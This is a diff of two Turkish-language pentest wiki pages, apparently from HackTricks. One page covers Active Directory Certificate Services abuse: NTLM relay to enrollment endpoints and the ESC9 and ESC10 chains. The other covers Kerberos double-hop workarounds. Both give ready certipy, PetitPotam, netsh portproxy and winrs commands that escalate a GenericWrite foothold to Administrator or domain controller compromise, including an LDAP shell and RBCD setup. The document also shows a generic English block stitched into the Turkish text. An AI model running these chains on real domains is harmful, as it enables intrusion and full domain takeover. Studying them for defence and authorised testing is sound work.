* **Web kayıt arabirimi** (bir önceki ASP uygulaması olan `http://<casunucusu>/certsrv/`), yalnızca HTTP varsayılan olarak gelir, bu da NTLM iletme saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin verir ve Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini uygulanamaz hale getirir.
* **Sertifika Kayıt Hizmeti** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Hizmeti** (NDES) varsayılan olarak yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması, hem Kerberos'i hem de **NTLM'yi destekler**, bir saldırganın iletme saldırıları sırasında **NTLM'ye düşürülmesine izin verir**. Bu web hizmetleri varsayılan olarak HTTPS'yi destekler, ancak yalnızca HTTPS, NTLM iletme saldırılarına karşı koruma sağlamaz. HTTPS hizmetlerinin NTLM iletme saldırılarından korunması, HTTPS'nin kanal bağlamayla birleştirildiğinde mümkündür. Ne yazık ki, AD CS, kanal bağlaması için gereken IIS üzerinde Genişletilmiş Kimlik Doğrulama Korumasını etkinleştirmez.
NTLM iletme saldırılarının yaygın bir **sorunu**, NTLM oturumlarının **kısa süreli olması** ve saldırganın **NTLM imzalama gerektiren hizmetlerle etkileşime girememesi**dir.
@ -354,7 +358,7 @@ Yine de, bu kısıtlama, bir NTLM iletme saldırısını kullanarak bir kullanı
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
NTLM iletme saldırılarının bir başka kısıtlaması, **bir saldırgan tarafından kontrol edilen bir makinenin bir kurban hesabı tarafından kimlik doğrulanması gerekliliğidir**. Saldırgan, bu kimlik doğrulamayı **bekleyebilir veya zorlayabilir**:
NTLM iletme saldırılarının bir diğer kısıtlaması, **bir saldırgan tarafından kontrol edilen bir makinenin bir kurban hesabı tarafından kimlik doğrulanması gerekliliğidir**. Saldırgan bu kimlik doğrulamayı **bekleyebilir veya zorlayabilir**:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
@ -368,11 +372,31 @@ Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
`msPKI-Enrollment-Servers` özelliği, Kurumsal Sertifika Otoriteleri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar, **Certutil.exe** aracı kullanılarak ayrıştırılabilir ve listelenebilir:
`msPKI-Enrollment-Servers` özelliği, Kurumsal Sertifika Otoriteleri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar, **Certutil.exe** aracını kullanarak ayrıştırılabilir ve listelenebilir:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../.gitbook/assets/image (754).png" alt=""><figcaption></figcaption></figure>
## AD Certificate Enumeration
### Enumeration
The first step in the process is to enumerate the Active Directory environment. This includes gathering information about the domain, domain controllers, and other relevant information. This information will help in identifying potential targets and attack vectors.
### AD Certificate Services
Active Directory Certificate Services (AD CS) is a server role that allows you to build a public key infrastructure (PKI) and provide digital certificates. These certificates can be used to encrypt data, authenticate users, and secure communications within your network.
### Certificate Templates
Certificate templates are used to define the settings and permissions that are applied to issued certificates. By enumerating the certificate templates in AD CS, an attacker can identify weak or vulnerable settings that can be exploited.
### Enumeration Tools
There are several tools available that can be used to enumerate AD CS information, including certutil, PowerShell cmdlets, and various third-party tools. These tools can help in gathering information about certificate templates, issued certificates, and other relevant data.
### Enumeration Methodology
The enumeration methodology involves gathering information about the AD CS configuration, certificate templates, and issued certificates. This information can then be used to identify potential weaknesses and security issues that can be exploited during an attack.
```powershell
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
@ -396,7 +420,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### [Certipy](https://github.com/ly4k/Certipy) ile Kötüye Kullanım
Sertifika talebi, varsayılan olarak Certipy tarafından `Machine` veya `User` şablonuna dayalı olarak yapılır, bu da iletilecek hesap adının `$` ile bitip bitmediğine bağlıdır. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanımıyla gerçekleştirilebilir.
Sertifika talebi, varsayılan olarak Certipy tarafından `$` ile biten hesap adına bağlı olarak `Machine` veya `User` şablonuna dayalı olarak yapılır. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanımıyla gerçekleştirilebilir.
[PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik daha sonra kimlik doğrulamayı zorlamak için kullanılabilir. Alan denetleyicileriyle uğraşırken, `-template DomainController` belirtilmesi gereklidir.
```bash
@ -419,36 +443,36 @@ Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) olarak adlandırıla
Bu bayrağın ayarının önemli hale geldiği koşullar şunları içerir:
- `StrongCertificateBindingEnforcement` `2`'ye ayarlanmamıştır (varsayılan `1` olur), veya `CertificateMappingMethods` `UPN` bayrağını içerir.
- Sertifika, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiştir.
- Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU belirtilmiştir.
- Herhangi bir hesap üzerinde `GenericWrite` izinleri başka bir hesabı tehlikeye atmak için kullanılabilir.
* `StrongCertificateBindingEnforcement` `2`'ye ayarlanmamıştır (varsayılan `1` olur), veya `CertificateMappingMethods` `UPN` bayrağını içerir.
* Sertifika, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiştir.
* Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU belirtilmiştir.
* Bir hesap üzerinde `GenericWrite` izinleri başka bir hesabı tehlikeye atmak için kullanılabilir durumdadır.
### Kötüye Kullanım Senaryosu
`John@corp.local`'ın `Jane@corp.local` üzerinde `GenericWrite` izinleri bulunduğunu varsayalım ve `Administrator@corp.local`'ı tehlikeye atmayı hedeflesin. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
`John@corp.local`'ın `Jane@corp.local` üzerinde `GenericWrite` izinleri bulunduğunu varsayalım ve `Administrator@corp.local`'ı tehlikeye atmayı hedeflesin. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarındaki `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite` izinleri sayesinde Gölge Kimlik Bilgileri kullanılarak elde edilir:
Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite` izinleri sayesinde Shadow Credentials kullanılarak elde edilir:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Sonuç olarak, `Jane`'in `userPrincipalName` değeri `Administrator` olarak değiştirilir, bilerek `@corp.local` alan bölümü atlanır:
Ardından, `Jane`'nin `userPrincipalName` değeri `Administrator` olarak değiştirilir, bilerek `@corp.local` alanı atlanır:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Bu değişiklik, `Administrator@corp.local` olarak belirtilen `Administrator`'ın `userPrincipalName`'i olarak farklı kalır.
Bu değişiklik, `Administrator@corp.local` olarak belirtilen `Administrator`'ın `userPrincipalName`'i olarak farklı kalması koşullarını ihlal etmez.
Bunu takiben, zayıf olarak işaretlenmiş `ESC9` sertifika şablonu, `Jane` olarak talep edilir:
Bunun ardından, zayıf olarak işaretlenmiş `ESC9` sertifika şablonu, `Jane` olarak talep edilir:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Sertifikanın `userPrincipalName` özelliğinin, herhangi bir "object SID" içermediği belirtilmiştir.
Belirtilen sertifikanın `userPrincipalName` değerinin "Administrator" olarak yansıdığı, herhangi bir "object SID" olmadan olduğu belirtilmiştir.
`Jane`'in `userPrincipalName` özelliği daha sonra orijinali olan `Jane@corp.local` olarak geri döndürülür:
`Jane`'in `userPrincipalName` değeri daha sonra orijinali olan `Jane@corp.local` olarak geri döndürülür:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Denenmiş olan sertifika ile kimlik doğrulama yapmaya çalışmak şu anda `Administrator@corp.local`'in NT hash'ini verir. Sertifikanın alan belirtimi eksik olduğundan komutta `-domain <domain>` bulunmalıdır:
Denenmiş sertifika ile kimlik doğrulama yapmaya çalışmak şu anda `Administrator@corp.local`'in NT hash'ini verir. Komutta sertifikanın alan adı belirtimi eksik olduğundan `-domain <domain>` dahil edilmelidir:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -456,10 +480,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### Açıklama
ECS10 tarafından belirtilen alanlarla ilgili iki kayıt defteri değeri bulunmaktadır:
Eşlemeleri ESC10 tarafından belirtilen iki kayıt defteri değeri şunlardır:
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altındaki `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), önceden `0x1F` olarak ayarlanmıştır.
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altındaki `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, önceden `0` idi.
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), önceden `0x1F` olarak ayarlanmıştır.
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, önceden `0` idi.
**Durum 1**
@ -467,23 +491,23 @@ ECS10 tarafından belirtilen alanlarla ilgili iki kayıt defteri değeri bulunma
**Durum 2**
`CertificateMappingMethods` içerisinde `UPN` bitini (`0x4`) içerdiğinde.
`CertificateMappingMethods` içerisinde `UPN` bitini (`0x4`) içeriyorsa.
### Kötüye Kullanım Durumu 1
`StrongCertificateBindingEnforcement` değeri `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir hesap A, herhangi bir hesap B'yi tehlikeye atmak için sömürülebilir.
Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı amaçlar. İşlem, herhangi bir sertifika şablonunun kullanılmasına izin verirken ESC9 ile aynıdır.
Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı amaçlar. İşlem, herhangi bir sertifika şablonunun kullanılmasına izin verirken ESC9'u yansıtır.
Başlangıçta, `Jane`'in hash'i, `GenericWrite` kullanarak Shadow Credentials kullanılarak alınır.
Başlangıçta, `Jane`'in hash'i, Shadow Credentials kullanılarak alınır, `GenericWrite` kullanılarak sömürülür.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Sonuç olarak, `Jane`'in `userPrincipalName` değeri `Yönetici` olarak değiştirilir, kısıtlama ihlinden kaçınmak için `@corp.local` kısmı bilinçli olarak atlanır.
Sonuç olarak, `Jane`'in `userPrincipalName` değeri `Yönetici` olarak değiştirilir, kısıtlama ihlinden kaçınmak için `@corp.local` kısmı bilerek atlanır.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Ardından, varsayılan `User` şablonunu kullanarak `Jane` olarak istemci kimliği doğrulamasını etkinleştiren bir sertifika istenir.
Ardından, varsayılan `User` şablonunu kullanarak `Jane` olarak istemci kimliği doğrulamasını sağlayan bir sertifika istenir.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -491,15 +515,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Elde edilen sertifika ile kimlik doğrulama yapmak, sertifikada etki alanı detaylarının olmaması nedeniyle komutta etki alanının belirtilmesini gerektirir.
Elde edilen sertifika ile kimlik doğrulama yapılması, sertifikada alan adı detaylarının olmaması nedeniyle komutta alan adının belirtilmesini gerektirir. Bu işlem, `Administrator@corp.local`'in NT hash'ini verecektir.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Kötüye Kullanım Senaryosu 2
### Kötüye Kullanım Durumu 2
`CertificateMappingMethods` içerisinde `UPN` bit bayrağını (`0x4`) içeren bir hesap A, `userPrincipalName` özelliğine sahip olmayan herhangi bir hesap B'yi (makine hesapları ve yerleşik etki alanı yöneticisi `Administrator` dahil) tehlikeye atabilir.
`CertificateMappingMethods` içeren `UPN` bit bayrağı (`0x4`) ile, `GenericWrite` izinlerine sahip bir hesap A, `userPrincipalName` özelliğine sahip olmayan herhangi bir hesap B'yi tehlikeye atabilir, bu da makine hesaplarını ve yerleşik etki alanı yöneticisi `Administrator`'ı içerir.
Burada, `GenericWrite` izinlerine sahip bir hesap olan `Jane`'in hash'ini Shadow Credentials aracılığıyla elde ederek, `DC$@corp.local` hesabını tehlikeye atma hedeflenmektedir.
Burada, `Jane`'in hash'ini Shadow Credentials aracılığıyla elde ederek, `GenericWrite`'ı kullanarak `DC$@corp.local`'ı tehlikeye atma hedeflenmektedir.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
@ -507,11 +531,11 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Bir sertifika istemcisi kimliği doğrulama için varsayılan `Kullanıcı` şablonunu kullanarak `Jane` olarak istenir.
Bir istemci kimlik doğrulama sertifikası, varsayılan `User` şablonu kullanılarak `Jane` olarak talep edilir.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane`'in `userPrincipalName`'i bu işlemden sonra orijinal haline döndürülür.
`Jane`'nin `userPrincipalName`'i bu işlem sonrasında orijinal haline döndürülür.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
@ -519,21 +543,21 @@ Schanel üzerinden kimlik doğrulamak için Certipy'nin `-ldap-shell` seçeneği
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Kaynak Tabanlı Kısıtlanmış Delegasyon (RBCD) saldırılarını etkinleştirir ve potansiyel olarak alan denetleyicisini tehlikeye atabilir.
LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Kaynak Tabanlı Kısıtlanmış Delegasyon (RBCD) saldırılarını etkinleştirerek, etkili bir şekilde alan denetleyicisini tehlikeye atabilir.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Bu zafiyet, `userPrincipalName` eksik olan herhangi bir kullanıcı hesabına veya `sAMAccountName` ile eşleşmeyen bir kullanıcı hesabına genişletilebilir. Varsayılan olarak `Administrator@corp.local` hedef olabilir çünkü yükseltilmiş LDAP ayrıcalıklarına sahiptir ve varsayılan olarak bir `userPrincipalName` bulunmamaktadır.
Bu zafiyet, `userPrincipalName` eksik olan herhangi bir kullanıcı hesabına veya `sAMAccountName` ile eşleşmeyen hesaplara da uzanır; varsayılan olarak `Administrator@corp.local` yüksek LDAP ayrıcalıklarına sahip olması ve varsayılan olarak `userPrincipalName`'in bulunmaması nedeniyle ana hedeflerden biridir.
## Sertifikalarla Ormanların Tehdit Edilmesi Pasif Sesle Açıklanmış
## Sertifikalarla Ormanların Tehdit Edilmesi, Edilgen Sesle Açıklanmış
### Kompromize Edilmiş CA'lar Tarafından Orman Güvenliğinin Bozulması
**Ormanlar arası kayıt** için yapılandırma oldukça basittir. Kaynak ormandan gelen **kök CA sertifikası**, yöneticiler tarafından **hesap ormanlarına yayınlanır** ve kaynak ormandan gelen **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, kaynak ormandaki **CA'ya diğer tüm ormanlar üzerinde tam kontrol** sağlar. Bu CA, **saldırganlar tarafından ele geçirilirse**, kaynak ve hesap ormanlarındaki tüm kullanıcılar için sertifikaları **sahteleyebilirler**, böylece ormanın güvenlik sınırı ihlal edilmiş olur.
**Ormanlar arası kayıt** yapılandırması oldukça basit hale getirilir. Kaynak ormandan **kök CA sertifikası** yöneticiler tarafından hesap ormanlarına **yayınlanır** ve kaynak ormandan **kurumsal CA** sertifikaları her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, kaynak ormandaki **CA'ya diğer tüm ormanlar üzerinde tam kontrol** sağlar. Bu CA **saldırganlar tarafından ele geçirilirse**, kaynak ve hesap ormanlarındaki tüm kullanıcılar için sertifikaları **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur.
### Yabancı İlkeler Tarafından Verilen Kayıt Ayrıcalıkları
Çoklu orman ortamlarında, **kimlik doğrulama şablonlarını yayınlayan Kurumsal CA'lar** hakkında dikkatli olunmalıdır. Bu şablonlar, **Kimlik Doğrulanmış Kullanıcılar veya yabancı ilkelerin** (Kurumsal CA'nın ait olduğu ormandan dış kullanıcılar/gruplar) **kayıt ve düzenleme haklarına izin veren** şablonlar olabilir.\
Bir güvenlik ilişkisi boyunca kimlik doğrulaması yapıldığında, AD tarafından kullanıcının belirteci içine **Kimlik Doğrulanmış Kullanıcılar SID** eklenir. Dolayısıyla, bir alanın, **Kimlik Doğrulanmış Kullanıcılara kayıt hakları veren bir Kurumsal CA'sı** varsa, bir kullanıcının farklı bir ormandan **kayıt olabileceği bir şablon** oluşturulabilir. Benzer şekilde, bir şablondan **kayıt haklarııkça yabancı bir ilkeye verilirse**, böylece bir ormandan bir ilkenin **başka bir ormandan bir şablona kayıt olmasına izin verilirse**, **çapraz orman erişim kontrol ilişkisi oluşturulur**.
Çoklu orman ortamlarında, **kimlik doğrulama yapmış kullanıcılar veya yabancı ilkelerin** (Enterprise CA'nın ait olduğu ormandan farklı olan kullanıcılar/gruplar) **kayıt ve düzenleme haklarına izin veren sertifika şablonları** yayınlayan Kurumsal CA'lar konusunda dikkat gereklidir.\
Bir güven ilişkisi üzerinden kimlik doğrulaması yapıldığında, AD tarafından kullanıcının belirteci içine **Kimlik Doğrulanmış Kullanıcılar SID** eklenir. Dolayısıyla, bir alanın, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına izin veren bir şablona sahip olması durumunda**, bir kullanıcının farklı bir ormandan **kayıt olabileceği bir şablon potansiyel olarak oluşturulabilir**. Benzer şekilde, bir şablon tarafından **kayıt haklarııkça yabancı bir ilkeye verilirse**, böylece bir ormandan bir ilkenin **başka bir ormandan bir şablona kayıt olmasına olanak tanıyan bir ormanlar arası erişim kontrol ilişkisi oluşturulur**.
Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinde artışa** neden olur. Bir saldırganın sertifika şablonunun ayarlarını kullanarak yabancı bir alanında ek ayrıcalıklar elde etmesi mümkündür.
Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinde artışa** neden olur. Sertifika şablonunun ayarları, bir saldırganın yabancı bir alanında ek ayrıcalıklar elde etmek için sömürülebilir.

View file

@ -2,41 +2,45 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın**.
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve hacktricks-cloud depolarına PR göndererek paylaşın.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Giriş
Kerberos "Çift Atlama" sorunu, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak.
**Kerberos** ile **kimlik doğrulama** gerçekleştiğinde, **kimlik bilgileri** **bellekte önbelleğe alınmaz**. Bu nedenle, mimikatz çalıştırsanız bile, kullanıcının kimlik bilgilerini makinede bulamazsınız, hatta kullanıcı işlemler çalıştırıyorsa bile.
Bir **Kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte önbelleğe alınmaz**. Bu nedenle, mimikatz çalıştırsanız bile, kullanıcının makinede çalışan işlemlerini bulamazsınız.
Bunun nedeni, Kerberos ile bağlantı kurulduğunda şu adımların izlenmesidir:
Bu, Kerberos ile bağlandığınızda şu adımların izlendiği için olur:
1. Kullanıcı1 kimlik bilgilerini sağlar ve **alan denetleyicisi** Kullanıcı1'e bir Kerberos **TGT** döndürür.
2. Kullanıcı1, Server1'e bağlanmak için bir **hizmet biletiği** talep etmek için **TGT**'yi kullanır.
3. Kullanıcı1, **Server1**'e **bağlanır** ve **hizmet biletiğini** sağlar.
4. **Server1**, Kullanıcı1'in kimlik bilgilerini veya Kullanıcı1'in **TGT**'sini önbelleğe almadığı için, Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, kimlik doğrulama yapamaz.
2. Kullanıcı1, **TGT**'yi kullanarak **Sunucu1'e bağlanmak** için bir **hizmet biletiği** isteğinde bulunur.
3. Kullanıcı1, **Sunucu1'e bağlanır** ve **hizmet biletiğini sağlar**.
4. **Sunucu1**, Kullanıcı1'in kimlik bilgilerini önbelleğe almaz veya Kullanıcı1'in **TGT**'sini bulundurmaz. Bu nedenle, Sunucu1'den ikinci bir sunucuya giriş yapmaya çalıştığında, kimlik doğrulamasını **gerçekleştiremez**.
### Sınırsız Delege
Eğer PC'de **sınırsız delege** etkinse, bu olmaz çünkü **Sunucu**, üzerine erişen her kullanıcının bir **TGT** alır. Dahası, sınırsız delege kullanılıyorsa, muhtemelen **Etki Alanı Denetleyicisini** etkileyebilirsiniz.\
Eğer PC'de **sınırsız delege** etkinse, bu olmaz çünkü **Sunucu**, kendisine erişen her kullanıcının bir **TGT**'sini **alır**. Dahası, sınırsız delege kullanılıyorsa muhtemelen **Etki Alanı Denetleyicisini** tehlikeye atabilirsiniz.\
[Sınırsız delege sayfasında daha fazla bilgi](unconstrained-delegation.md).
### CredSSP
Bu sorunu önlemenin başka bir yolu da [**önemli ölçüde güvensiz olan**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Kimlik Güvenlik Destek Sağlayıcısı**'dır. Microsoft'tan:
Bu sorunu önlemenin [**önemli derecede güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) bir yolu da **Kimlik Güvenlik Destek Sağlayıcısı**'dır. Microsoft'tan:
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara aktarır. Bu uygulama, uzaktaki işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye düştüğünde, kimlik bilgileri ona iletilirse, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye atıldığında, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
CredSSP'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda güvenlik endişeleri nedeniyle devre dışı bırakılması şiddetle önerilir. CredSSP'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, CredSSP durumunun **kontrol edilmesine** olanak sağlar ve hatta **WinRM** etkinse uzaktan çalıştırılabilir.
Güvenlik endişeleri nedeniyle **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle tavsiye edilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve hatta **WinRM** etkinse uzaktan çalıştırılabilir.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -44,20 +48,18 @@ Get-WSManCredSSP
```
## Çözümler
### Invoke Command
### Komutu Çağır
Çift atlama sorununu çözmek için, iç içe geçmiş bir `Invoke-Command` yöntemi sunulmaktadır. Bu, sorunu doğrudan çözmez, ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, birincil saldıran makineden veya önceden kurulmuş bir PS-Session ile ilk sunucudan bir PowerShell komutu (`hostname`) aracılığıyla ikincil bir sunucuda bir komutun (`hostname`) yürütülmesine izin verir. İşte nasıl yapılır:
Çift atlama sorununu ele almak için, iç içe geçmiş bir `Invoke-Command` yöntemi sunulmaktadır. Bu doğrudan sorunu çözmez ancak özel yapılandırmalara gerek olmadan bir çözüm sunar. Bu yaklaşım, bir komutu (`hostname`) başlangıç saldıran makineden veya önceden kurulmuş bir PS-Session ile ilk sunucudan ikincil bir sunucuda çalıştırmayı sağlar. İşte nasıl yapılır:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
Alternatif olarak, ilk sunucuyla bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezileştirmek için önerilir.
### PSSession Yapılandırmasını Kaydet
### PSSession Yapılandırması Kaydetme
Çift atlama sorununu atlamak için `Register-PSSessionConfiguration` ve `Enter-PSSession` kullanarak bir çözüm önerilmektedir. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar.
Çift atlama sorununu atlamak için bir çözüm, `Register-PSSessionConfiguration`'ı `Enter-PSSession` ile kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
@ -66,20 +68,20 @@ klist
```
### Port Yönlendirme
Ara bir hedef üzerindeki yerel yöneticiler için, port yönlendirme son sunucuya isteklerin gönderilmesine olanak sağlar. `netsh` kullanılarak, port yönlendirme için bir kural eklenir ve yönlendirilen portun izin verilmesi için bir Windows güvenlik duvarı kuralı eklenir.
Ara bir hedef üzerindeki yerel yöneticiler için, port yönlendirme isteklerin bir son sunucuya gönderilmesine olanak tanır. `netsh` kullanılarak, bir port yönlendirme kuralı eklenir ve yönlendirilen portu izin veren bir Windows güvenlik duvarı kuralı eklenir.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe`, PowerShell izleme endişesi varsa daha az tespit edilebilir bir seçenek olarak kullanılabilir. Aşağıdaki komut kullanımını göstermektedir:
`winrs.exe`, PowerShell izleme endişesi varsa daha az algılanabilir bir seçenek olarak WinRM isteklerini iletmek için kullanılabilir. Aşağıdaki komut kullanımını göstermektedir:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
